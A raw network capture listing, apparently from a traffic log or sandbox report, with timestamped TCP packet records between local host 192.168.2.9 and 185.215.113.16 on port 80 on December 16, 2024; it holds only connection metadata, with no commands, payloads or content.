Dec 16, 2024 10:37:29.068669081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.069478989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.069555044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.069598913 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.070396900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.070522070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.070573092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.071201086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.071299076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.071343899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.072082043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.072145939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.072196960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.072990894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.073108912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.073159933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.073884010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.074018955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.074071884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.074798107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.074871063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.074915886 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.075716019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.075764894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.075813055 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.076622009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.076690912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.076771975 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.077476978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.077584982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.077631950 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.078326941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.078385115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.078433037 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.079217911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.079286098 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.079334021 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.080101967 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.080224037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.080265999 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.081073046 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.081162930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.081204891 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.081926107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.082025051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.082075119 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.082768917 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.082916021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.082958937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.083735943 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.083781958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.083833933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.084558964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.084647894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.084697962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.085445881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.085510969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.085558891 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.086405039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.086436033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.086504936 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.087304115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.087347031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.087392092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.088217020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.088301897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.088355064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.089037895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.089168072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.089207888 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.089926958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.090096951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.090151072 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.090852022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.090934992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.090981960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.091710091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.091825008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.091869116 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.092309952 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.092602015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.092690945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.092730045 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.093720913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.093801975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.093847036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.094465971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.094537020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.094578981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.095252991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.095369101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.095417023 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.096196890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.096266985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.096311092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.097079039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.097147942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.097193956 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.098033905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.098120928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.098167896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.098886013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.099009037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.099056959 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.099713087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.099770069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.099812984 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.100646019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.100661039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.100713968 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.101505995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.101643085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.101692915 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.102369070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.130028009 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.291619062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.291640043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.291697979 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.291776896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.291919947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.291963100 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.292704105 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.292813063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.292855024 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.293790102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.293878078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.293915987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.295027971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.295090914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.295141935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.295660973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.295748949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.295803070 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.296449900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.296469927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.296523094 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.297144890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.297197104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.297245026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.298019886 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.298130035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.298181057 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.299372911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.299437046 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.299483061 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.299957037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.300020933 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.300103903 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.300870895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.300951958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.301007032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.301590919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.301654100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.301707029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.302480936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.302553892 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.302607059 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.303369999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.303513050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.303564072 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.304402113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.304420948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.304478884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.305205107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.305326939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.305375099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.306168079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.306241035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.306291103 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.307115078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.307179928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.307226896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.307933092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.307996035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.308060884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.308738947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.308872938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.308938026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.309638023 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.309743881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.309792042 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.310496092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.310621023 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.310668945 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.311414957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.311520100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.311570883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.312458992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.312604904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.312664032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.313208103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.313311100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.313369036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.314132929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.314208031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.314256907 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.314965963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.315073013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.315119982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.315886021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.315953970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.316000938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.316778898 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.316823006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.316879034 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.317673922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.317708969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.317755938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.318552971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.318609953 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.318656921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.319436073 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.319515944 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.319572926 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.320354939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.320409060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.320492029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.321301937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.321321011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.321373940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.322138071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.322272062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.322364092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.322984934 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.323136091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.323255062 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.323913097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.324055910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.324112892 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.324804068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.324903011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.324945927 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.325634956 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.325803041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.326000929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.326052904 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.326581955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.326715946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.326771975 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.327514887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.327632904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.327682972 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.328362942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.328480959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.328526020 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.329241991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.329277992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.329317093 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.330127954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.330238104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.330286026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.331130981 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.331295013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.331365108 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.331913948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.331984043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.332031012 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.332817078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.332912922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.332962990 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.333703041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.333830118 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.333879948 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.334683895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.334772110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.334825039 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.336196899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.336536884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.336563110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.336580038 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.336595058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.336617947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.336679935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.337268114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.337384939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.337435961 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.338126898 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.370364904 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.383814096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.483820915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.484078884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.484137058 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.484360933 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.484543085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.484560013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.484587908 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.485281944 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.485321999 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.485467911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.486567020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.486582994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.486634970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.487705946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.487724066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.487756014 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.488316059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.488332987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.488367081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.489048958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.489065886 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.489097118 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.489882946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.489943981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.490046024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.490660906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.490705967 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.490885973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.491729021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.491744995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.491774082 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.492494106 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.492508888 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.492544889 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.493417978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.493432999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.493473053 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.494294882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.494343042 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.494389057 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.495165110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.495179892 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.495213032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.496004105 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.496053934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.496143103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.496962070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.496978998 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.497042894 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.497872114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.497886896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.497920990 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.498645067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.498692036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.499515057 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.499531031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.499571085 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.500443935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.500459909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.500500917 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.500811100 CET	80	49777	185.215.113.16	192.168.2.9
